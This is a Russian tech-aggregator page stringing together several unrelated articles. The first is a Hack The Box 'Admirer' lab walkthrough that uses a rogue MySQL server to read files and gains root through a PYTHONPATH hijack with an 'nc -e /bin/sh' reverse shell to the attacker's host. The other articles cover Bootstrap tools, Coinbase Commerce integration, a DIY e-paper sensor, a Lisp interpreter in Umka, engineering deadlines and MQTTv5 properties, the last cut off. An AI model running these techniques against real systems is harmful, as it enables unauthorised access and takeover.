Русский
Русский
English
Статистика
Реклама

Все категории

Hack The Box. Прохождение Admirer. Уязвимость в Admirer и RCE через подмену переменной среды

26.09.2020 22:13:23 | Автор: admin

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной стать мы много-много сканируем, эксплуатируем RCE в Admirer и изменяем переменную среды для выполнения своего кода python.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.


Recon


Данная машина имеет IP адрес 10.10.10.189, который я добавляю в /etc/hosts.

10.10.10.187 admirer.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmapом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.187 --rate=500



Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A admirer.htb -p80,22,21



Из результата сканирования nmap выбираем свой следующий шаг. Так на сервере присутствую службы FTP и SSH, но для них требуются учетные данные. Так же присутствует веб сервер Apache, на котором присутствует файл robots.txt. В данном файле всего одна запись директория admin-dir. Так как больше никакой информации не представлено, наш следующий шаг сканирование директорий. Для этого используем быстрый gobuster. В параметрах укаываем, что мы хотим сканировать дирректории (dir), указываем сайт (-u), список слов(-w), расширения, которые нас интересуют (-x), количество потоков (-t).
gobuster dir -t 128 -u http://admirer.htb/admin-dir/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt



И мы находим два файла: первый содержит адреса электронных почт, а второй различные учетные данные.





И среди учетных данных находим креды для FTP. И Удачно подключаемся.



Осмотримся на сервере.



Давайте скачаем все файлы.



Есть подозрение, что данный архив является бэкапом сайта, давайте разархивируем и посмотрим, что в нем.
mkdir HTMLmv html.tar.gz HTML/ cd HTMLtar -xf html.tar.gz



Снова присутствует файл robots.txt и какая-то секретная директория, содержащая все те же файлы contacts.txt и credentials.txt.



Первый файл ничем не отличается от уже имеющегося, а вот среди учетных данных есть те, которых у нас нет.



Попытавшись их использовать, ни к чему не приходим. Давайте поищем строки user и pass во всех скачанных файлах.
grep -R -i "user\|pass" ./



И мы находим еще два пароля для одного и того же пользователя. Я собрал все имеющиеся учетные данные.



Но и они никуда не подошли.

Entry Point


При попытке выполнить неразрешенные на сайте задачи, получим отказ.







Так как все исполняемые файлы расположены в директории utility-scripts, давайте просканируем ее на хосте, причем искать будет файлы php.
gobuster dir -t 128 -u http://admirer.htb/utility-scripts/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php



И находим файл admirer.php.



Поискав информацию, из следующих источников стало понятно как получить RCE. Если указать в качестве сервера свой хост, то можно увидеть попытку подключения.

Давайте запустим на локально хосте службу myqsl.
sudo service mysql startsudo mysql -u root

И создадим пользователя для авторизации.
create user ralfadmirer@'%' identified by 'ralfadmirer'create database admirerdb;grant all privileges on admirerdb.* to 'ralfadmirer';



Теперь изменим файл конфигураций /etc/mysql/mariadb.conf.d/50-server.cnf, чтобы кто угодно мог подключаться к нашему хосту. Для этого закомментируем строку bind-address и перезапустим службу.



sudo service mysql restart

Авторизуемся от имени только что созданного пользователя.





USER


Давайте выберем нашу БД.



Далее создадим таблицу.



И выполним SQL запрос, чтобы прочитать файл index.php, в котором мы можем найти учетные данные (как это было в бэкапе).
load data local infile '../../../../etc/passwd'into table admirerdb.admirertablefields terminated by '\n'



Теперь перейдем к нашей созданной таблице.



И найдем учетные данные.



И с данным паролем мы успешно авторизуемся через SSH.









ROOT


Давайте проверим настройки sudo.



Таким образом, мы можем выполнить данный скрипт от имени супер пользователя. При просмотре данного скрипта, находим выполнения скрипта python, который так же выполняется под sudo.



И в самом скрипте указан неявный импорт.



Давайте посмотрим переменные окружения, нас интересуют пути python.



Таким образом, мы можем создать файл с таким же именем, содержащий такую же функцию, но выполняющую другие действия. А потом изменяя данную переменную среды, запустим программу, что приведет к выполнению нашего файла.
def make_archive():        import os        os.system('nc 10.10.15.110 4321 -e "/bin/sh"')make_archive()



Выполним скрипт.
sudo PYTHONPATH='/tmp/' /opt/scripts/admin_tasks.sh



И получаем бэкконнект шелл.



У нас полный над данной машиной.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

Как быстро создать Bootstrap-сайт для бизнеса 6 полезных инструментов

26.09.2020 22:13:23 | Автор: admin


Bootstrap уже много лет позволяет бизнесам по всему миру создавать адаптивные сайты с качественным UX без лишних затрат. В сегодняшней статье мы еще раз поговорим о плюсах этого фреймворка и рассмотрим некоторые полезные инструменты, которые позволят повысить его эффективность.

Что такое Bootstrap


Bootstrap это открытый и бесплатный фреймворк HTML, CSS и JS. Веб-разработчики по всему миру используют его для быстрого создания адаптивных сайтов и веб-приложений. Существуют и альтернативы, среди которых, например, фреймворки Foundation и UIkit, но Bootstrap считается самым популярным.

Этому способствует скорость работы, которую он обеспечивает с помощью Bootstrap верстать сайты можно в несколько раз быстрее, чем на чистом CSS и JavaScript, и для получения приличных результатов не нужен столь же масштабный объем знаний и опыта. В итоге даже у начинающих разработчиков сайты получаются очень неплохими некоторые удачные дизайны представлены на сайте фреймворка.

Несмотря на это существуют и дополнительные инструменты, которые позволяют еще больше облегчить создание Bootstrap-сайтов и сделать их эффективнее. Вот некоторые из них.

Startup


Startup это drag-n-drop конструктор Bootstrap-тем, который позволяет быстро создавать лендинги для бизнеса. Инструмент предлагает более 300 готовых блоков, которые можно использовать в интерфейсе. В несколько кликов собранный дизайн можно экспортировать в чистый HTMl, CSS, JavaScript.



При этом, итоговый результат будет оптимизирован под отображение на мобильных устройствах.

Pinegrow


Это десктоп-редактор для macOS, Windows и даже Linux, который позволяет создавать Bootstrap-сайты. Это инструмент уже скорее для разработчиков и верстальщиков, ведь он позволяет углубляться в такие моменты, как верстка CSS-сеток и правил, rich visual controls, SASS и LESS и т.п.



Помимо прочего, с помощью Pinegrow можно создавать интерфейсы под фреймворк Foundation и WordPress.

Bootstrap Magic


Еще один инструмент создания тем для Bootstrap 4.0, который подойдет более опытным разработчикам. Это продукт с открытым кодом, который позволяет писать HTML-код прямо в специальном редакторе и тут же генерировать его превью.



Bootstrap Build


Это бесплатный билдер тем на Bootstrap 4 (и как уточняется, скоро появится поддержка пятой версии). Пользователи могут использовать до 500 элементов UI, а также создавать собственные темы на основе готовых шаблонов в специальном редакторе, а затем экспортировать результат работы в SASS-файлы.



Bootstrap Studio


Как и Pinegrow, это десктоп-приложение, но которое работает в формате drag-n-drop. Здесь есть большая библиотека встроенных компонентов, включая хедеры, футеры, галереи и слайдшоу.



Все это позволяет его использование для людей с небольшим опытом веб-разработки.

Codeply


Это так называемый playground, в котором пользователи могут не только создавать темы с помощью редактора drag-n-drop, но и писать код с возможностью просмотра превью. Начать работу можно с помощью редактирования готовых шаблонов есть как простые для лендингов или статей, так и более сложные, вроде контрольных панелей веб-приложений.



Заключение


Это лишь некоторые интересные инструменты, которые позволят создавать красивые Bootstrap-сайты быстрее и делать их функциональными. Делитесь в комментариях ссылками на другие полезные продукты так наш список будет еще более полным.
Подробнее..

Принимаем криптовалютные платежи с Coinbase Commerce

27.09.2020 00:06:12 | Автор: admin


Если Вы планиуете подключать криптовалютные платежи и еще не знакомы с Coinbase Commerce, стоит потратить 5 минуты Вашего времени. Расскажу о подключении, настройке и поделюсь готовым open source решениями для Nodejs.


Coinbase Commerce это крипто-эквайринг без комиссий, паспортов, с отличным API и Вашим личным счетом.


Привет, Хабр!


Для приложения мы с командой выбирали крипто-эквайринг из нескольких вариантов. Все компании берут комиссию, имеют посредственное API и различаются условиями, это стандартный набор для фиатного приема средств.


Главный вопросом был выбор сервиса, который подходит для целевой аудитории. В нашем случае, целевая аудитория это "штаты". Как известно, есть Америка и есть остальной мир, поэтому количество сервисов, которые нам подходят, быстро уменьшилось.


Список доступных криптовалют: USD Coin, Dai, Bitcoin, Bitcoin Cash, Ethereum, Litecoin


Coinbase Commerce (далее CC).


Плюсы и минусы


  • Быстрая настройка
  • Нет комиссий клиент переводит деньги напрямую на Ваш счет
  • Принимает стейблкоины USD Coin & DAI, а также много других
  • Глобальный сервис у Америки в приоритете биржа "Coinbase", имеет фактор доверия даже со стороны государства. Для всего остального мира не принципиально
  • Нет посредников. Только Ваш кошелек и Ваш аккаунт
  • Отсутствие возвратных платежей. Конечно, клиенту можно вернуть средства по требованию, но это на Ваше усмотрение
  • Тестирование хуков с панели сервиса можно отправлять тестовые вебхуки

Минусов почти нет, кромне одного и он весомый. Чтобы полноценно протестировать работу приложения, нужно использовать свои деньги. Да, хуки вы можете отправлять и "напильником" подогнать работу, однако этого не достаточно для продакшн-версии.


Регистрация



Процесс проходит в 5 этапов.


  1. Регистрация аккаунта email + пароль
  2. Подключение 2х этапной верификации
  3. Настройка кошелька
  4. Бекап кошелька
  5. Доступ к интерфейсу и прием платежей

Подключение 2х этапной верификации




Настройка кошелька



При создании кошелька, CC генерирует seed-фразы, которые нужно сохранить.




После ручного ввода seed-фраз, CC предлагает использовать Google Drive для бекапа кошелька.




Доступ к интерфейсу и прием платежей



Прием платежей


Есть два способа приема платежей, мы рассмотрим оба.


  1. С использованием интерфейса фиксированная оплата за товар\услугу или пожертвования. Не требует навыков программирования, подходит всем.
  2. С использованием API более сложный вариант, требующий настройки бэкенда. Позволяет создавать динамические платежи.

С использованием интерфейса



Создание позиции товара\услуги с фиксированной ценой.



Прием пожертвований.



Последним этапом, CC предлагает выбрать, какую информацию о пользователе будет собирать.



После того, как создаем позицию для оплаты, система нам предлагает варианты интеграции (ссылка или скрипт).




// link// https://commerce.coinbase.com/checkout/<id><a href="http://personeltest.ru/aways/commerce.coinbase.com/checkout/<id>" target="_blank">// embed<div>  <a class="buy-with-crypto"     href="http://personeltest.ru/aways/commerce.coinbase.com/checkout/<id>">Buy with Crypto</a>  <script src="http://personeltest.ru/aways/commerce.coinbase.com/v1/checkout.js?version=201807">  </script></div>

С использованием API


Вариант с API формирует платежку вручную и она активна ограниченное количество времени.


Схема работы


С клиента передаем информацию о сумме платежа на сервер, далее формируем временный
"checkout" и возвращаем ссылку https://commerce.coinbase.com/checkout/<id> на клиент, по которой пользователь переходит на страницу оплаты или происходит автоматическая переадресация.


В случае успешной оплаты, отмены или, если время платежки истечет, CC направит информацию на вебхук.


Настройка WebHook


Необходимо добавить url публичного вебхука Settings => Webhook subscriptions.



Протестировать работу вебхука можно на бесплатном сервисе Webhook.site.


Для локальной разработки нужно использовать модуль, который локальную точку доступа сделает публичной, например модуль Ngrok.


// install$ npm install ngrok -g// `http://localhost:3000/coinbase-webhook` => `https://<ngrok-host>/coinbase-webhook`$ ngrok http 3000

Как вариант, можно использовать пример ответа вебхука с сайта Webhook.site и далее отправлять через Postman на локальную точку доступа.


После добавления вебхука, его можно протестировать. Интерфейс позволяет менять только события: charge:created, charge:confirmed, charge:failed, charge:delayed, charge:pending, charge:resolved.


Документация Webhook



Open Source


Подготовил вариант c использованием API coinbase-commerce-node.



Заключение


В целом, мне понравилась интеграции Coinbase Commerce. Поделитесь своим опытом подключения платежей для приложений.


Спасибо за внимание!

Подробнее..

Беспроводной DIY датчик тепрературы и влажности с e-paper дисплеем

26.09.2020 22:13:23 | Автор: admin
Всем привет! Сегодня хочу рассказать читателям о своем DIY проекте датчика температуры и влажности с e-ink дисплеем. Это будет некая обзорная статья об этапах создания устройства, будет много картинок. Идея этого проекта родилась около двух лет назад, примерно тогда я увлекся беспроводными автономными устройствами. Целью проекта было создание небольшого девайса для знакомства и изучения дисплеев на электронных чернилах. Было решено на плату добавить датчик температуры, что бы можно было выводить какие то полезные данные на экран, ну и передавать данные далее в систему умного дома.




Первая версия устройства была сделана на микроконтроллере atmega328 и радио-модуле nRF24L01. Очень быстро стало понятно что для работы с e-ink дисплеем не хватает памяти, а энергопотребление устройства довольно большое.


Тест первой версии устройства

Используется датчик температуры и влажности SHT20. Питание от трех батареек CR2430 (6V) через step down converter.

Следующая версия устройства, была разработана на nRF52832. Для этой версии был выбран радио-модуль от компании Holyiot YJ-16048. Характеристики радио-чипа: ARM Cortex-M4F с ОЗУ 512кб 64кб. Встроенный приемопередатчик 2,4 ГГц, поддержка BLE, ANT, ESB (совместимо с nRF24L01). Подробнее об этой версии рассказано тут.

В этом варианте, проблем с хранением в памяти микроконтроллера большого количества данных не было. Наличие в nRF52 режима DC-DC, для работы радио в режиме с оптимизацией питания (экономия до 40%), позволило сократить максимальное пиковое потребление до 7-8мА. Вторая версия датчика, как и первая планировалась как модуль для разработки, поэтому вопрос выбора корпуса не ставился.


Тест работы прототипа второй версии.

Так же используется датчик температуры и влажности SHT20. Питание от двух батареек CR2450 через step down конвертер TPS62745DSSR с малым энергопотреблением.

Вторая версия датчика показала хорошие результаты: низкое потребление, длительное время работы на одном комплекте батареек, возможность хранения и вывода тяжелой графики.

Естественно проект захотелось довести до состояния законченного устройства. Поэтому первым этапом, стал корпус. Для возможности установки в корпус был переработан дизайн платы. Модель корпуса была разработана в программе SolidWorks. Первые корпуса я печатал на бытовом SLA принтере Anycubic Foton. Плюсами была высокая точность печати и простота пост-обработки корпуса (полировка). Из минусов (на тот момент) печати корпуса полимерной смолой была хрупкость. Не то чтобы напечатанная модель разваливалась в руках, но если собранное устройство (с батарейками) уронить, то скорее всего корпус треснет (что и случилось однажды).

Так же из за этого свойства материала, были проблемы с закручиванием винтов для соединения двух частей корпуса. После нескольких десятков вкручиваний выкручиваний винтов в отверстиях под резьбу выработался материал стенок и винты стали прокручиваться. Выше в скобках я написал на тот момент, так что сейчас дела обстоят гораздо лучше. На рынке стали появляться смолы, по вполне разумной цене и с отличными прочностными характеристиками.





Тест работы прототипа третьей версии

В этой версии был расширен список сенсоров. Помимо SHT20, ПО может работать и с датчиками si7021, HTU21D, а так же с BME280 (отдельная версия платы).

Начиная с этой версии, устройство может работать от одной батарейки. Работа через step down конвертер или напрямую от батареек, устанавливается перемычками. Так же, с помощью перемычек, устанавливается последовательность подключения двух батареек: последовательное или параллельное. Плюс к этому, расширен список радио-модулей и разработаны версии плат под радио-модули EBYTE и MINEW.

Для работы в более экономичном режиме, была добавлена поддержка чипов nRF52810 и nRF52811, что позволило сократить потребление в спящем режиме до 1,7 2мкА.

Чтобы придать корпусу больше прочности, было решено разработать модель корпуса под печать на FDM принтере. Сама модель была упрощена, а из дизайна удалены грани.

Ввиду того, что прочность материалов для FDM печати выше, была уменьшена толщина стенок, а все зазоры между корпусом и платой были минимизированы.

В настоящий момент, разработаны 3 варианта корпуса, под разные батарейки. От самого тонкого, для батареек СК2430 до максимально прочного, под две батарейки CR2477. Все варианты моделей корпусов доступны на GitHub этого проекта.




Так же было переработано ПО, была добавлена функция конфигурирования устройства через систему Умного дома, что избавило от необходимости перепрошивать устройство.

В настоящий момент, можно настраивать:

  • интервалы опроса сенсора температуры и влажности
  • интервалы чтения уровня заряда батарейки
  • привязка к другим устройствам для передачи данных
  • включение режима автономной работы без интеграции в умный дом.
  • Так же, в интерфейс была добавлена поддержка нескольких языков и возможность инверсии цвета экрана .










Тест работы обновленной третьей версии.

В видеоролике демонстрируется работа устройства с радиосетью MySensors и конфигурирование устройства через отправку параметров из системы умного дома.

Данный проект и сейчас продолжает активно развиваться. Уже есть прототип четвертой версии, точнее наверное это уже ответвление, так как четвертая версия существенно переработана по железу. Также, на основе этого проекта родилось еще несколько аналогичных проектов под другие размеры экранов.

Информацию по данному проекту можно найти на GitHub. Проект открытый, на гитхаб доступы файлы для изготовления плат, схемы, модели корпусов и программный код.






По мере того, как мои проекты будут готовы, я обязательно буду о них рассказывать.

Если вам интересно все что связано с DIY, вы являетесть DIY разработчиком или хотите только начать, вам интересно использование DIY девайсов приглашаю всех заинтересованных в телеграм чат DIYDEV

Всем, кто хочет делать устройства, начать строить автоматизацию своего дома, я предлагаю познакомиться с простым в освоении протоколом Mysensors телеграм-чат MySensors

А тем кто ищет достаточно взрослые решения для домашней автоматизации приглашаю в телеграм-чат Open Thread. (что такое Thread?)

Всем, как всегда добра!
Подробнее..

Беспроводной DIY датчик температуры и влажности с e-paper дисплеем

27.09.2020 00:06:12 | Автор: admin
Всем привет! Сегодня хочу рассказать читателям о своем DIY проекте датчика температуры и влажности с e-ink дисплеем. Это будет некая обзорная статья об этапах создания устройства, будет много картинок. Идея этого проекта родилась около двух лет назад, примерно тогда я увлекся беспроводными автономными устройствами. Целью проекта было создание небольшого девайса для знакомства и изучения дисплеев на электронных чернилах. Было решено на плату добавить датчик температуры, что бы можно было выводить какие то полезные данные на экран, ну и передавать данные далее в систему умного дома.




Первая версия устройства была сделана на микроконтроллере atmega328 и радио-модуле nRF24L01. Очень быстро стало понятно что для работы с e-ink дисплеем не хватает памяти, а энергопотребление устройства довольно большое.


Тест первой версии устройства

Используется датчик температуры и влажности SHT20. Питание от трех батареек CR2430 (6V) через step down converter.

Следующая версия устройства, была разработана на nRF52832. Для этой версии был выбран радио-модуль от компании Holyiot YJ-16048. Характеристики радио-чипа: ARM Cortex-M4F с ОЗУ 512кб 64кб. Встроенный приемопередатчик 2,4 ГГц, поддержка BLE, ANT, ESB (совместимо с nRF24L01). Подробнее об этой версии рассказано тут.

В этом варианте, проблем с хранением в памяти микроконтроллера большого количества данных не было. Наличие в nRF52 режима DC-DC, для работы радио в режиме с оптимизацией питания (экономия до 40%), позволило сократить максимальное пиковое потребление до 7-8мА. Вторая версия датчика, как и первая планировалась как модуль для разработки, поэтому вопрос выбора корпуса не ставился.


Тест работы прототипа второй версии.

Так же используется датчик температуры и влажности SHT20. Питание от двух батареек CR2450 через step down конвертер TPS62745DSSR с малым энергопотреблением.

Вторая версия датчика показала хорошие результаты: низкое потребление, длительное время работы на одном комплекте батареек, возможность хранения и вывода тяжелой графики.

Естественно проект захотелось довести до состояния законченного устройства. Поэтому первым этапом, стал корпус. Для возможности установки в корпус был переработан дизайн платы. Модель корпуса была разработана в программе SolidWorks. Первые корпуса я печатал на бытовом SLA принтере Anycubic Foton. Плюсами была высокая точность печати и простота пост-обработки корпуса (полировка). Из минусов (на тот момент) печати корпуса полимерной смолой была хрупкость. Не то чтобы напечатанная модель разваливалась в руках, но если собранное устройство (с батарейками) уронить, то скорее всего корпус треснет (что и случилось однажды).

Так же из за этого свойства материала, были проблемы с закручиванием винтов для соединения двух частей корпуса. После нескольких десятков вкручиваний выкручиваний винтов в отверстиях под резьбу выработался материал стенок и винты стали прокручиваться. Выше в скобках я написал на тот момент, так что сейчас дела обстоят гораздо лучше. На рынке стали появляться смолы, по вполне разумной цене и с отличными прочностными характеристиками.





Тест работы прототипа третьей версии

В этой версии был расширен список сенсоров. Помимо SHT20, ПО может работать и с датчиками si7021, HTU21D, а так же с BME280 (отдельная версия платы).

Начиная с этой версии, устройство может работать от одной батарейки. Работа через step down конвертер или напрямую от батареек, устанавливается перемычками. Так же, с помощью перемычек, устанавливается последовательность подключения двух батареек: последовательное или параллельное. Плюс к этому, расширен список радио-модулей и разработаны версии плат под радио-модули EBYTE и MINEW.

Для работы в более экономичном режиме, была добавлена поддержка чипов nRF52810 и nRF52811, что позволило сократить потребление в спящем режиме до 1,7 2мкА.

Чтобы придать корпусу больше прочности, было решено разработать модель корпуса под печать на FDM принтере. Сама модель была упрощена, а из дизайна удалены грани.

Ввиду того, что прочность материалов для FDM печати выше, была уменьшена толщина стенок, а все зазоры между корпусом и платой были минимизированы.

В настоящий момент, разработаны 3 варианта корпуса, под разные батарейки. От самого тонкого, для батареек СК2430 до максимально прочного, под две батарейки CR2477. Все варианты моделей корпусов доступны на GitHub этого проекта.




Так же было переработано ПО, была добавлена функция конфигурирования устройства через систему Умного дома, что избавило от необходимости перепрошивать устройство.

В настоящий момент, можно настраивать:

  • интервалы опроса сенсора температуры и влажности
  • интервалы чтения уровня заряда батарейки
  • привязка к другим устройствам для передачи данных
  • включение режима автономной работы без интеграции в умный дом.
  • Так же, в интерфейс была добавлена поддержка нескольких языков и возможность инверсии цвета экрана .










Тест работы обновленной третьей версии.

В видеоролике демонстрируется работа устройства с радиосетью MySensors и конфигурирование устройства через отправку параметров из системы умного дома.

Данный проект и сейчас продолжает активно развиваться. Уже есть прототип четвертой версии, точнее наверное это уже ответвление, так как четвертая версия существенно переработана по железу. Также, на основе этого проекта родилось еще несколько аналогичных проектов под другие размеры экранов.

Информацию по данному проекту можно найти на GitHub. Проект открытый, на гитхаб доступы файлы для изготовления плат, схемы, модели корпусов и программный код.






По мере того, как мои проекты будут готовы, я обязательно буду о них рассказывать.

Если вам интересно все что связано с DIY, вы являетесть DIY разработчиком или хотите только начать, вам интересно использование DIY девайсов приглашаю всех заинтересованных в телеграм чат DIYDEV

Всем, кто хочет делать устройства, начать строить автоматизацию своего дома, я предлагаю познакомиться с простым в освоении протоколом Mysensors телеграм-чат MySensors

А тем кто ищет достаточно взрослые решения для домашней автоматизации приглашаю в телеграм-чат Open Thread. (что такое Thread?)

Всем, как всегда добра!
Подробнее..

Простой интерпретатор Lisp на Umka

26.09.2020 22:13:23 | Автор: admin

Разработка моего статически типизированного скриптового языка Umka вошла в ту стадию, когда потребовалась проверка языковых возможностей на более сложных примерах, чем скрипты в пару десятков строк. Для этого я решил реализовать на своём языке интерпретатор Lisp. На это меня вдохновил педагогический эксперимент Роба Пайка, одного из создателей языка Go. Недавно Пайк опубликовал маленький интерпретатор Lisp на Go. Особенно впечатлило замечание Пайка, что описание интерпретатора заключено на одной странице 13 древнего руководства по Lisp 1.5. Учитывая синтаксическое родство Umka и Go, было трудно не поддаться соблазну построить такой интерпретатор на Umka, но не буквальным переносом кода Пайка, а полностью заново, от основ. Надеюсь, знатоки Lisp и функциональных языков простят мне наивное изумление от соприкосновения с прекрасным.

На непосвящённых Lisp может произвести впечатление, близкое к шоку. Где граница между кодом и данными? Где циклы? Где стек? Единственной структурой данных является дерево. Оно же может представлять список. Оно же становится абстрактным синтаксическим деревом при разборе программы. Оно же заменяет собой стек при вычислении выражений. Любое дерево можно попытаться исполнить как код или использовать как данные. Вместо циклов рекурсия. В ядре языка нет даже арифметики. И тем не менее, это полный по Тьюрингу язык, который можно бесконечно расширять и посыпать синтаксическим сахаром.

Определение минимального интерпретатора Lisp действительно занимает меньше страницы. Конечно, с некоторой натяжкой: в нём используются функции, определённые на нескольких предыдущих страницах. Кажется, создатель Lisp Джон Маккарти из азарта старался превзойти сам себя в лаконизме и в итоге опубликовал микроруководство по Lisp, содержащее определение языка вместе с исходником интерпретатора в общей сложности две журнальные страницы. Правда, добавил в заголовок: "Not the whole truth".

Ядро языка (здесь мы говорим о самых старых и простых диалектах) требует наличия пяти элементарных функций, четырёх ключевых слов и двух констант, которые не могут быть выражены средствами самого языка.

Базовые конструкции языка для тех, кто с ними не знаком
  • (car x) выделение головы списка x

  • (cdr x) выделение хвоста списка x

  • (cons x y) соединение списков x и y

  • (atom x) проверка x на атомарность

  • (eq x y) проверка атомарных элементов x и y на равенство

  • (cond (a x) (b y)) выбор значения x или y по условию a или b

  • (quote x) указание использовать x как есть, без вычисления

  • ((lambda (x) a) y) вызов безымянной функции с телом a, формальным параметром x и фактическим параметром y

  • ((label ff (lambda (x) a)) y) присвоение безымянной функции имени ff

  • t истина

  • nil ложь или пустое выражение

С помощью этих конструкций можно определять и вызывать рекурсивные функции, так что в одном выражении будет заключена целая программа. Если к этому добавить ещё и арифметические функции, то можно, например, рассчитать факториал 6:

((label fac (lambda (n) (cond ((eq n 0) 1) ((quote t) (mul n (fac (sub n 1))))))) 6)

В микроруководстве Маккарти этими средствами выражен весь интерпретатор Lisp, за исключением лексического и синтаксического разбора. В руководстве Lisp 1.5 на той самой странице 13 приведён почти такой же интерпретатор, но в более человекочитаемом псевдокоде. Его я и взял за основу своего маленького проекта. Потребовалось лишь добавить разбор текста программы, некое подобие REPL и импровизированную арифметику. Роб Пайк, видимо, поступил так же, но отказался от конструкции label в пользу defn, которая позволила ему не определять функцию заново всякий раз, когда требуется её вызвать. В ядре Lisp такой возможности не предусмотрено.

Поскольку весь интерпретатор пронизан рекурсией и обработкой деревьев, он послужил отличным тестом многих возможностей языка Umka от формирования стековых кадров до сборки мусора. Думаю, Umka хорошо справился с испытанием. Исправлять пришлось лишь два-три мелких бага, связанных с экспортом имён и опережающим описанием типов. Весь код интерпретатора занял меньше 400 строк.

Желающим поиграть с моим интерпретатором и передать по эстафете вдохновение от Роба Пайка рекомендую взять папку с примерами из ветки master, а не из последнего выпуска.

Подробнее..

Перевод Многие дедлайны придумывают специально с целью заставить инженеров работать бесплатно

26.09.2020 20:04:42 | Автор: admin
Работа инженера сплошное разочарование. Возможно, потому что у нас нет власти, а менеджеры сбрасывают на инженеров все проблемы и ожидают, что они будут решены к вчерашнему дню.

В большинстве случаев задачу поставил кто-то сверху, кто именно инженер не знает. Возможно, потому что менеджер хочет держать инженера в неведении или менеджер хочет держать своего босса в неведении. Бльшую часть времени задачи придумываются кем-то, кто понятия не имеет, о чём он просит и сколько времени это займёт.

Вот общий сценарий, который разыгрывается между инженером и его боссом, инженером-менеджером. Менеджер спрашивает, сколько времени займёт выполнение новой задачи. Бывает, что инженер не делал эту задачу раньше, поэтому честно отвечает, что понятия не имеет. Менеджер не принимает такой ответ и снова спрашивает. Тогда инженер даёт оценку практически наугад, а босс отвечает: Это слишком долго. Даже если инженер знает, сколько времени займёт выполнение задачи и даёт реалистичную оценку, менеджер часто отвечает: Это слишком долго. У тебя есть время до пятницы. Когда инженер спрашивает, как давно стало известно об этой задаче, босс отвечает, что месяц назад. Когда инженер спрашивает, почему он не сказал ему об этом месяц назад, тот просто смотрит на инженера, как будто не понимает вопроса.

Часто менеджер ставит невозможный дедлайн, например, три дня, чтобы решить проблему, которая, вероятно, займёт месяц. Это означает, что у инженера два варианта. Он может сделать некачественную (то есть паршивую) работу. Или может вернуться через три дня и сказать боссу, что работа не закончена. Очень часто, если он выбирает первый вариант, все счастливы, что есть какой-то результат, даже если это полный мусор, который абсолютно ни на что не годен. Если инженер возвращается через три дня и говорит менеджеру, что работа не завершена, его босс спрашивает, почему. Тот факт, что времени было недостаточно, не является приемлемым ответом. Но если работа всё же должна быть выполнена, инженеру дают больше времени. Подозреваю, что если работа изначально не была очень важной, босс просто говорит, что время истекло и нужно идти делать что-то другое.

Мне кажется, что такое взаимодействие между менеджером и инженером ни что иное, как игра. Либо для менеджера, либо со стороны компании. В первом случае это может быть демонстрация власти, а во втором реализация стратегии увеличения прибыли компании. Другими словами, если босс не совсем глуп (как иногда кажется), то он понимает, что инженер не может выполнить за три дня работу, которая занимает месяц. Но он играет по правилам компании: она хочет, чтобы инженер делал неоплачиваемую сверхурочную работу столько, сколько способен выдержать. Вот почему так много инженеров в некоторых компаниях работают по 70 часов в неделю.

Многие ИТ-компании фактически сдают своих инженеров в аренду клиентам по часам. ИТ-компании взимают плату за работу либо по количеству часов, которое потребуется для выполнения работы, либо по количеству инженерных часов, которые работа фактически занимает. Они берут с клиента плату за каждый час. Когда их инженеры работают бесплатно в течение долгого времени, это чистая прибыль для компании. Таким образом, у компаний есть огромный финансовый стимул, чтобы заставить инженеров бесплатно работать сверхурочно. В результате многие компании пытаются заставить своих инженеров работать как можно больше неоплачиваемых сверхурочных, даже если приходится придумывать фальшивые дедлайны.

Вы можете спросить, разве это законно? Да, это законно в Соединенных Штатах, поскольку инженеры получают фиксированную зарплату, а не почасовую оплату. Работнику выдают одинаковую сумму каждую неделю независимо от того, сколько часов он фактически работает. Почему это законно? Вероятно, это связано с тем, что крупные ИТ-компании могут позволить себе нанимать лоббистов, а инженеры нет.

Для Соединенных Штатов это означает, что многие инженеры перегружены работой и производят мусор. Когда ваш новый ноутбук умирает через шесть месяцев или в новом американском автомобиле через год взрывается прокладка головки цилиндра, причина может быть в этом. Жадные и эгоистичные компании заставляют врать и своих менеджеров, и инженеров. Они вынуждены говорить, что работа выполнена, когда она не выполнена, чтобы компания получила больше прибыли. Похоже, топ-менеджеров проблема не волнует. Вероятно, отчасти это объясняется тем, что большинство из них социопаты и психопаты. К сожалению, многие из наших компаний, по-видимому, стали оруэлловскими машинами, которые привели этих людей к власти, а оказавшись там, они порождают полный хаос для всех нас.
Подробнее..

MQTTv5.0 Обзор новых функций. Часть 2

26.09.2020 22:13:23 | Автор: admin
Всем привет!

Приведенный ниже материал является продолжением статьи о функционале, добавленном в новой версии MQTTv5.0. Если вы уже успели ее изучить, то для вас не составит труда заметить, что большинство новых функций базируется на понятии свойств, которые можно добавлять в пакет. В этой статье мы подробно их разберем.

Прим. Статья направлена на тех, кто имеет интерес или необходимость глубоко погружаться в тонкости MQTT. Здесь не будет картинок и лирических отступлений, только хардкор!!!

Далее приведена таблица всех свойств (см. п. 2.2.2.2 в спецификации).

ID Название Тип данных Пакет / Will Properties
1 PayloadFormatIndicator Byte PUBLISH, Will Properties
2 MessageExpiryInterval FourByteInteger PUBLISH, Will Properties
3 ContentType UTF-8Encoded String PUBLISH, Will Properties
8 ResponseTopic UTF-8Encoded String PUBLISH, Will Properties
9 CorrelationData BinaryData PUBLISH, Will Properties
